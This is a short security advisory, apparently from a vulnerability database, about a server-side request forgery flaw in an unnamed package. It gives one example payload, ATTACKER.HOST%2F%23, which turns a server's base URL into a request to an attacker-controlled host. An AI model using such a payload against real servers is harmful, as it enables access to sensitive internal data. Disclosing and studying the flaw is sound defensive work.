Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) such that an attacker can send a request to the affected routes with a malicious URL. For example, if an attacker controls the ATTACKER.HOST domain, they can send a request to affected routes with the value set to ATTACKER.HOST%2F%23.

The %2F and %23 characters are URL-encoded versions of the forward-slash (/) and pound (#) characters, respectively. In this context, an attacker could use those characters to append the base URL (i.e. https://${input} to be modified to https://ATTACKER.HOST/ This will cause the server to send a request to the attacker-controlled domain, allowing the attacker to potentially gain access to sensitive information or perform further attacks on the server.
